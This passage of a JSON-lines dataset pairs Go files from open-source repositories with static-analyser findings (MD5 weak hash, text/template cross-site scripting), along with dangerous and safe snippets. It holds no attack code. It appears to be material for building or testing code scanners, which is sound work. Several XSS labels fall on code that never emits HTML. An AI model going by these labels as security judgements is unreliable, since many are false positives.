o.Put(info.ModifyAT.StructFieldName, x)\n\t}\n\tif info.DeleteBY != nil {\n\t\tx := rv.FieldByName(info.DeleteBY.StructFieldName).Interface()\n\t\t_ = o.Put(info.DeleteBY.StructFieldName, x)\n\t}\n\tif info.DeleteAT != nil {\n\t\tx := rv.FieldByName(info.DeleteAT.StructFieldName).Interface()\n\t\t_ = o.Put(info.DeleteAT.StructFieldName, x)\n\t}\n\tif info.Version != nil {\n\t\tx := rv.FieldByName(info.Version.StructFieldName).Interface()\n\t\t_ = o.Put(info.Version.StructFieldName, x)\n\t}\n\tif info.Columns != nil {\n\t\tfor _, col := range info.Columns {\n\t\t\tx := rv.FieldByName(col.StructFieldName).Interface()\n\t\t\t_ = o.Put(col.StructFieldName, x)\n\t\t}\n\t}\n\tif info.ForeignColumns != nil {\n\t\tfor _, col := range info.ForeignColumns {\n\t\t\tfcv := rv.FieldByName(col.StructFieldName)\n\t\t\tif fcv.IsNil() {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfc := fcv.Interface()\n\t\t\tfcInfo := getTableRowInfo(fc)\n\t\t\tfcPkv := fcv.Elem().FieldByName(fcInfo.Pks[0].StructFieldName).Interface()\n\t\t\t_ = o.Put(col.StructFieldName, map[string]interface{}{fcInfo.Pks[0].StructFieldName: fcPkv})\n\t\t}\n\t}\n\tp = o.Raw()\n\treturn\n}\n\nfunc (cache *redisDaoCache) mapJsonToRow(p []byte, row TableRow) {\n\terr := json.Unmarshal(p, row)\n\tif err != nil {\n\t\tpanic(fmt.Sprintf(\"fns SQL: use DAO failed for decode redis cache failed, %v\", err))\n\t}\n\treturn\n}\n\nfunc (cache *redisDaoCache) buildRowCacheKey(row TableRow) (key string) {\n\tinfo := getTableRowInfo(row)\n\tif info.Pks == nil || len(info.Pks) == 0 {\n\t\tp := cache.mapRowToJson(row)\n\t\tkey = fmt.Sprintf(\"fns_dao:%s:%s:%x\", info.Schema, info.Name, md5.Sum(p))\n\t\treturn\n\t}\n\trv := reflect.Indirect(reflect.ValueOf(row))\n\tfor _, pk := range info.Pks {\n\t\tkey = key + \"-\" + fmt.Sprintf(\"%v\", rv.FieldByName(pk.StructFieldName).Interface())\n\t}\n\tkey = \" + info.Schema + \":\" + info.Name + \":\" + key[1:]\n\treturn\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "f1a81e2405cb67d06f06992f199c225ef1bf53c118582f4ec5af415aa02a8631", "license": {"spdx": ["Apache-2.0"], "repo": "Luzifer/worktime", "path": "cmd/show.go", "repo_head_hexsha": "68b120c6236b40c9920bdd9b100eb96825d80695", "stack_hexsha": "0b2ffabaa32219acca1ec91f450af475315e3558", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 7, "entireCode": "package cmd\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"os\"\n\t\"text/template\"\n\t\"time\"\n\n\t\"github.com/Luzifer/worktime/schema\"\n\t\"github.com/spf13/cobra\"\n\t\"github.com/spf13/viper\"\n)\n\n// showCmd represents the show command\nvar showCmd = &cobra.Command{\n\tUse: \"show [day]\",\n\tShort: \"Display a summary of the given / current day\",\n\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\tif len(args) != 1 {\n\t\t\targs = []string{time.Now().Format(\"2006-01-02\")}\n\t\t}\n\n\t\tday, err := parseTime(\"2006-01-02\", args[0])\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"'day' parameter seems to have a wrong format: %s\", err)\n\t\t}\n\n\t\tdoc, err := schema.LoadDay(cfg.couchDB, day, false)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tovertime, err := schema.GetOvertime(cfg.couchDB, day)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif viper.GetBool(\"json\") {\n\t\t\treturn json.NewEncoder(os.Stdout).Encode(struct {\n\t\t\t\tDay schema.Day `json:\"day\"`\n\t\t\t\tOvertime float64 `json:\"overtime\"`\n\t\t\t}{Day: *doc, Overtime: overtime.Value})\n\t\t}\n\n\t\ttplSrc, err := Asset(\"templates/show.tpl\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\ttpl, err := template.New(\"show\").Parse(string(tplSrc))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\treturn tpl.Execute(os.Stdout, map[string]interface{}{\n\t\t\t\"day\": doc,\n\t\t\t\"overtime\": time.Duration(overtime.Value * float64(time.Hour)),\n\t\t})\n\n\t},\n}\n\nfunc init() {\n\tRootCmd.AddCommand(showCmd)\n\n\tshowCmd.Flags().Bool(\"json\", false, \"Prints day in JSON instead of human readable text\")\n\tviper.BindPFlag(\"json\", showCmd.Flags().Lookup(\"json\"))\n\n\t// Here you will define your flags and configuration settings.\n\n\t// Cobra supports Persistent Flags which will work for this command\n\t// and all subcommands, e.g.:\n\t// showCmd.PersistentFlags().String(\"foo\", \"\", \"A help for foo\")\n\n\t// Cobra supports local flags which will only run when this command\n\t// is called directly, e.g.:\n\t// showCmd.Flags().BoolP(\"toggle\", \"t\", false, \"Help message for toggle\")\n\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 7, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "f959b973a96b14b60946c1fac69f0c096e5375f38a17797e1c83090586c6b079", "license": {"spdx": ["Apache-2.0"], "repo": "kalbasit/rules_proto_grpc", "path": "tools/rulegen/types.go", "repo_head_hexsha": "7e0a97adc8801df1cd74ee435d74bbd857c98a36", "stack_hexsha": "ee103073bf97ca68dbf2b6df9b0eb7e373b76dfb", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 4, "entireCode": "package main\n\nimport (\n\t\"text/template\"\n)\n\n\n// Language represents one directory in this repo\ntype Language struct {\n\t// Directory in the repo where this language is rooted. Typically this is\n\t// the same as the name\n\tDir string\n\n\t// Name of the language\n\tName string\n\n\t// The display name of the language\n\tDisplayName string\n\n\t// Workspace usage\n\tWorkspaceExample string\n\n\t// List of rules\n\tRules []*Rule\n\n\t// Additional nodes about the language\n\tNotes *template.Template\n\n\t// Bazel build flags required / suggested\n\tFlags []*Flag\n\n\t// Additional CI-specific env vars in the form \"K=V\"\n\tPresubmitEnvVars map[string]string\n\n\t// Flag indicating if the merge_directories flag should be set to false for the generated rule\n\tSkipDirectoriesMerge bool\n\n\t// Platforms for which to skip testing this lang\n\t// The special value 'all' will skip app platforms\n\tSkipTestPlatforms []string\n\n\t// Extra aliases to add to defs.bzl. Stored as alias name -> real name\n\tAliases map[string]string\n}\n\n\ntype Rule struct {\n\t// Name of the rule\n\tName string\n\n\t// Base name of the rule (typically the lang name)\n\tBase string\n\n\t// Kind of the rule (proto|grpc)\n\tKind string\n\n\t// Description\n\tDoc string\n\n\t// Temmplate for workspace\n\tWorkspaceExample *template.Template\n\n\t// Template for build file\n\tBuildExample *template.Template\n\n\t// Template for bzl file\n\tImplementation *template.Template\n\n\t// List of attributes\n\tAttrs []*Attr\n\n\t// List of plugins\n\tPlugins []string\n\n\t// Not expected to be functional\n\tExperimental bool\n\n\t// Bazel build flags required / suggested\n\tFlags []*Flag\n\n\t// Additional CI-specific env vars in the form \"K=V\"\n\tPresubmitEnvVars map[string]string\n\n\t// Platforms for which to skip testing this rule, overrides language level\n\t// The special value 'all' will skip app platforms\n\tSkipTestPlatforms []string\n}\n\n\n// Flag captures information about a bazel build flag.\ntype Flag struct {\n\tCategory string\n\tName string\n\tValue string\n\tDescription string\n}\n\n\ntype Attr struct {\n\tName string\n\tType string\n\tDefault string\n\tDoc string\n\tMandatory bool\n}\n\n\ntype Plugin struct {\n\tTool string\n\tOptions []string\n}\n\n\ntype ruleData struct {\n\tLang *Language\n\tRule *Rule\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "66578a68369ad4fb8663e2db3ccc833aa6a8b0c113483635f7112bb8e7485c60", "license": {"spdx": ["Apache-2.0"], "repo": "zzxwill/derrick", "path": "cmd/init.go", "repo_head_hexsha": "57682382fe39c8d0b0e99411cb79d6e2c31e2970", "stack_hexsha": "0e73cdaddee79e1d5f745ce887e8e086702dedd3", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 14, "entireCode": "package cmd\n\nimport (\n\t\"bytes\"\n\t\"embed\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/fs\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"reflect\"\n\t\"strings\"\n\t\"text/template\"\n\n\t\"github.com/Masterminds/sprig/v3\"\n\t\"github.com/mitchellh/mapstructure\"\n\t\"github.com/spf13/cobra\"\n\n\t\"github.com/alibaba/derrick/common\"\n\t\"github.com/alibaba/derrick/core\"\n)\n\nvar projectPath, dockerImage string\n\nfunc Init(templateFS embed.FS) *cobra.Command {\n\tcmd := &cobra.Command{\n\t\tUse: \"init\",\n\t\tAliases: []string{\"ini\"},\n\t\tShort: \"Detect application's platform and compile the application\",\n\t\tLong: \"Detect application's platform and compile the application\",\n\t\tExample: `derrick init`,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\treturn execute(projectPath, dockerImage, templateFS)\n\t\t},\n\t}\n\tcmd.Flags().StringP(\"debug\", \"d\", \"\", \"debug mod\")\n\tcmd.Flags().StringVarP(&projectPath, \"project-path\", \"p\", \"\", \"Path of a project which is about to be detected\")\n\tcmd.Flags().StringVarP(&dockerImage, \"image\", \"i\", \"\", \"The image and its tag which will be built\")\n\treturn cmd\n}\n\ntype SuitableRiggings struct {\n\tPlatform string\n\tExtensionPoint core.ExtensionPoint\n}\n\nfunc execute(workspace, dockerImage string, templateFS embed.FS) error {\n\tvar err error\n\tif workspace == \"\" {\n\t\tworkspace, err = os.Getwd()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif _, err := os.Stat(workspace); err != nil {\n\t\treturn err\n\t}\n\tsuitableRiggings := detect(workspace)\n\triggingNo := len(suitableRiggings)\n\tif riggingNo == 0 {\n\t\tfmt.Println(\"Failed to detect your application's platform.\\nMaybe you can upgrade Derrick to get more platforms supported.\")\n\t\treturn nil\n\t} else if riggingNo > 1 {\n\t\t// TODO(zzxwill) ask users to choose from one of them\n\t\tfmt.Println(\"More than one rigging can handle the application.\")\n\t\treturn nil\n\t}\n\n\tsuitableRigging := suitableRiggings[0]\n\trig := suitableRigging.ExtensionPoint.Rigging\n\tdetectedContext, err := rig.Compile(dockerImage)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := renderTemplates(rig, detectedContext, workspace, templateFS); err != nil {\n\t\treturn err\n\t}\n\tfmt.Printf(\"Successfully detected your platform is %s and compiled it successfully.\\n\", suitableRigging.Platform)\n\n\t// write configuration context to a file located in the application folder\n\tdata, err := json.Marshal(detectedContext)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := ioutil.WriteFile(filepath.Join(workspace, common.DerrickApplicationConf), data, 0750); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc detect(projectPath string) []*SuitableRiggings {\n\tallRigging := core.LoadRiggings()\n\tif projectPath == \"\" {\n\t\tprojectPath = \"./\"\n\t}\n\tvar suitableRiggings []*SuitableRiggings\n\tfor _, rig := range allRigging {\n\t\tsuccess, platform := rig.Rigging.Detect(projectPath)\n\t\tif success {\n\t\t\tsuitableRiggings = append(suitableRiggings,\n\t\t\t\t&SuitableRiggings{\n\t\t\t\t\tPlatform: platform,\n\t\t\t\t\tExtensionPoint: core.ExtensionPoint{Rigging: rig.Rigging},\n\t\t\t\t})\n\t\t}\n\t}\n\treturn suitableRiggings\n}\n\nfunc renderTemplates(rig common.Rigging, detectedContext map[string]string, destDir string, templateFS embed.FS) error {\n\t// TODO(zzxwill) PkgPath() returns github.com/alibaba/derrick/rigging/golang/templates\n\t// there might be a better solution get the direcotry of the templates\n\tpkgPath := strings.Join(strings.Split(reflect.TypeOf(rig).PkgPath(), \"/\")[3:], \"/\")\n\ttemplateDir := filepath.Join(pkgPath, \"templates\")\n\tvar templates []string\n\terr := fs.WalkDir(templateFS, templateDir, func(path string, d fs.DirEntry, err error) error {\n\t\tinfo, err := d.Info()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif d != nil && strings.HasSuffix(info.Name(), \".tmpl\") {\n\t\t\ttemplates = append(templates, info.Name())\n\t\t}\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, t := range templates {\n\t\trenderedTemplate, err := renderTemplate(templateDir, t, detectedContext, templateFS)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\trenderedTemplateName := strings.Split(t, \".tmpl\")\n\t\tif len(renderedTemplateName) != 2 {\n\t\t\treturn fmt.Errorf(\"template %s is not in the right format\", t)\n\t\t}\n\t\tif err := ioutil.WriteFile(filepath.Join(destDir, renderedTemplateName[0]), []byte(renderedTemplate), 0750); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc renderTemplate(templateDir, templateFile string, detectedContext map[string]string, templateFS embed.FS) (string, error) {\n\tvar ctx common.TemplateRenderContext\n\tif err := mapstructure.Decode(detectedContext, &ctx); err != nil {\n\t\treturn \"\", err\n\t}\n\tf, err := templateFS.Open(filepath.Join(templateDir, templateFile))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdata, err := ioutil.ReadAll(f)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\ttmpl, err := template.New(templateFile).Funcs(template.FuncMap(sprig.FuncMap())).Parse(string(data))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tvar wr bytes.Buffer\n\terr = tmpl.Execute(&wr, ctx)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn wr.String(), nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 14, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "748150af3de37163710f314eb814e2c7bea298712adcf8453399ecb670044b86", "license": {"spdx": ["MIT"], "repo": "iods/go-pherit", "path": "cmd/learngo/template.go", "repo_head_hexsha": "2a2ecc6827bb98457380dd7428078c77f3b3ae3b", "stack_hexsha": "bf54d7c79c33b50af53f891e03630fece131e7af", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 6, "entireCode": "package main\n\nimport (\n\t\"log\"\n\t\"os\"\n\t\"text/template\"\n)\n\nfunc check(err error) {\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}\n\nfunc executeTemplate(text string, data interface{}) {\n\ttmpl, err := template.New(\"test\").Parse(text)\n\tcheck(err)\n\terr = tmpl.Execute(os.Stdout, data)\n\tcheck(err)\n}\n\nfunc loops() {\n\t//text := \"before: {{.}}\\n{{range .}}{{end}}after: {{.}}\\n\"\n\ttext := \"before: {{.}}\\n{{range .}}in: {{.}}\\n{{end}}after: {{.}}\\n\"\n\texecuteTemplate(text, []string{\"one\", \"two\", \"three\"})\n}\n\nfunc prices() {\n\ttext := \"Prices: \\n{{range .}}${{.}}\\n{{end}}\"\n\texecuteTemplate(text, []float64{33.3, 11, 9.8, 3.14})\n}\n\nfunc main() {\n\ttext := \"Here is my template start\\nAction: {{.}}\\nTemplate ended.\\n\"\n\ttmpl, err := template.New(\"test\").Parse(text)\n\tcheck(err)\n\terr = tmpl.Execute(os.Stdout, \"one\")\n\tcheck(err)\n\terr = tmpl.Execute(os.Stdout, \"two\")\n\tcheck(err)\n\texecuteTemplate(\"Dot is {{.}}!\\n\", \"fuck yeah\")\n\texecuteTemplate(\"Dot is {{.}}\\n\", 199.55)\n\texecuteTemplate(\"Dot is {{if .}}true{{end}}!\\n\", true)\n\texecuteTemplate(\"Dot is {{if .}}true{{end}}\\n\", false)\n\tloops()\n\tprices()\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 6, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "a0e01af3e8e999c70a8f9d1acd27352853f097078bb95fdea2b7bdd7c5acc713", "license": {"spdx": ["MIT"], "repo": "kohkimakimoto/gluatemplate", "path": "gluatemplate.go", "repo_head_hexsha": "d9e2c9d6b00f069a9da377a9ac529c827c1c7d71", "stack_hexsha": "da900c599c173951f900bd960428eeef250d4946", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 7, "entireCode": "package gluatemplate\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"github.com/yuin/gopher-lua\"\n\t\"text/template\"\n)\n\nfunc Loader(L *lua.LState) int {\n\ttb := L.NewTable()\n\tL.SetFuncs(tb, map[string]lua.LGFunction{\n\t\t\"dostring\": doString,\n\t\t\"dofile\": doFile,\n\t})\n\tL.Push(tb)\n\n\treturn 1\n}\n\n// render\nfunc doString(L *lua.LState) int {\n\ttmplcontent := L.CheckString(1)\n\tvar dict interface{}\n\n\ttmpl, err := template.New(\"T\").Parse(tmplcontent)\n\tif err != nil {\n\t\tL.Push(lua.LNil)\n\t\tL.Push(lua.LString(err.Error()))\n\t\treturn 2\n\t}\n\n\tif L.GetTop() >= 2 {\n\t\tdict = toGoValue(L.CheckTable(2))\n\t}\n\n\tvar b bytes.Buffer\n\tif err := tmpl.Execute(&b, dict); err != nil {\n\t\tL.Push(lua.LNil)\n\t\tL.Push(lua.LString(err.Error()))\n\t\treturn 2\n\t}\n\ts := b.String()\n\n\tL.Push(lua.LString(s))\n\treturn 1\n}\n\nfunc doFile(L *lua.LState) int {\n\ttmplfile := L.CheckString(1)\n\tvar dict interface{}\n\n\ttmpl, err := template.ParseFiles(tmplfile)\n\tif err != nil {\n\t\tL.Push(lua.LNil)\n\t\tL.Push(lua.LString(err.Error()))\n\t\treturn 2\n\t}\n\n\tif L.GetTop() >= 2 {\n\t\tdict = toGoValue(L.CheckTable(2))\n\t}\n\n\tvar b bytes.Buffer\n\tif err := tmpl.Execute(&b, dict); err != nil {\n\t\tL.Push(lua.LNil)\n\t\tL.Push(lua.LString(err.Error()))\n\t\treturn 2\n\t}\n\ts := b.String()\n\n\tL.Push(lua.LString(s))\n\treturn 1\n}\n\n// This code refers to https://github.com/yuin/gluamapper/blob/master/gluamapper.go\nfunc toGoValue(lv lua.LValue) interface{} {\n\tswitch v := lv.(type) {\n\tcase *lua.LNilType:\n\t\treturn nil\n\tcase lua.LBool:\n\t\treturn bool(v)\n\tcase lua.LString:\n\t\treturn string(v)\n\tcase lua.LNumber:\n\t\treturn float64(v)\n\tcase *lua.LTable:\n\t\tmaxn := v.MaxN()\n\t\tif maxn == 0 { // table\n\t\t\tret := make(map[interface{}]interface{})\n\t\t\tv.ForEach(func(key, value lua.LValue) {\n\t\t\t\tkeystr := fmt.Sprint(toGoValue(key))\n\t\t\t\tret[keystr] = toGoValue(value)\n\t\t\t})\n\t\t\treturn ret\n\t\t} else { // array\n\t\t\tret := make([]interface{}, 0, maxn)\n\t\t\tfor i := 1; i <= maxn; i++ {\n\t\t\t\tret = append(ret, toGoValue(v.RawGetInt(i)))\n\t\t\t}\n\t\t\treturn ret\n\t\t}\n\tdefault:\n\t\treturn v\n\t}\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 7, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "662202d49bf0763632a75779b538a77f8d5047e87aee355feeefea6ef9723f61", "license": {"spdx": ["Apache-2.0"], "repo": "dgoodwin/machine-api-operator", "path": "test/integration/util.go", "repo_head_hexsha": "e203185477d0d2daf4b9b7f7015ab9c0ff8f3983", "stack_hexsha": "8659c733c7e21e1fc271121a586676638d751e77", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 6, "entireCode": "package main\n\nimport (\n\t\"bytes\"\n\t\"io/ioutil\"\n\t\"text/template\"\n\n\t\"github.com/golang/glog\"\n)\n\n// PopulateTemplate receives a template file path and renders its content populated with the config\nfunc PopulateTemplate(config interface{}, path string) ([]byte, error) {\n\n\tdata, err := ioutil.ReadFile(path)\n\tif err != nil {\n\t\tglog.Fatalf(\"failed reading file, %v\", err)\n\t}\n\n\tbuf := &bytes.Buffer{}\n\ttmpl, err := template.New(\"\").Option(\"missingkey=error\").Parse(string(data))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif err := tmpl.Execute(buf, config); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn buf.Bytes(), nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 6, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "aa9ef01f6f7fe08f0f1256d247371f2fc82860415b819c61939da985b641b89b", "license": {"spdx": ["Apache-2.0"], "repo": "aleks-spes/delta", "path": "resp/generate/sensor.go", "repo_head_hexsha": "82ec8b9647f45c65ea85759571e0110574deefb3", "stack_hexsha": "cd34737ffb38adee874393fd9f8241ebe7dac962", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 6, "entireCode": "package main\n\nimport (\n\t\"io\"\n\t\"strings\"\n\t\"text/template\"\n)\n\ntype SensorComponent struct {\n\tAzimuth float64 `yaml:\"azimuth\"`\n\tDip float64 `yaml:\"dip\"`\n}\n\ntype SensorModel struct {\n\tType string `yaml:\"type\"`\n\tDescription string `yaml:\"description\"`\n\tManufacturer string `yaml:\"manufacturer\"`\n\tVendor string `yaml:\"vendor\"`\n\n\tComponents []SensorComponent `yaml:\"components\"`\n}\n\nvar sensorModelTemplate = `\n\nvar SensorModels map[string]SensorModel = map[string]SensorModel{\n{{ range $k, $v := . }}\t\"{{ $k}}\": SensorModel{\n\t\tName: \"{{$k}}\",\n\t\tType: \"{{$v.Type}}\",\n\t\tDescription: \"{{$v.Description}}\",\n\t\tManufacturer: \"{{$v.Manufacturer}}\",\n\t\tVendor: \"{{$v.Vendor}}\",\n\t\tComponents: []SensorComponent{{\"{\"}}{{ range $z := $v.Components}}SensorComponent{Azimuth: {{ $z.Azimuth }}, Dip: {{ $z.Dip }}{{\"}\"}},{{end}}{{\"}\"}},\n\t},\n{{end}}{{\"}\"}}\n`\n\nfunc sensormodel(w io.Writer, dl map[string]SensorModel) error {\n\n\tt, err := template.New(\"sensormodels\").Funcs(\n\t\ttemplate.FuncMap{\n\t\t\t\"escape\": func(s string) string { return strings.Join(strings.Fields(s), \" \") },\n\t\t},\n\t).Parse(sensorModelTemplate)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := t.Execute(w, dl); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 6, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "09e91036100113699745096bed3d809fa9b669b7802dd7540adf1d729a4d1432", "license": {"spdx": ["MIT"], "repo": "kblomster/go-structured-query", "path": "sqgen/templates.go", "repo_head_hexsha": "a8ab09b12747033b502118f339d60e3ffe230c18", "stack_hexsha": "80560716d263a75a1c301d88ab3e366c668489aa", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 6, "entireCode": "package sqgen\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"text/template\"\n)\n\n// functions required to transforms strings within the template\n// removes the need to declare a custom string alias with these methods attached\n// since all the template variables are referenced either with $ or . accessor in the template\n// we won't have any naming collisions\n\nfunc Export(s string) string {\n\tstr := 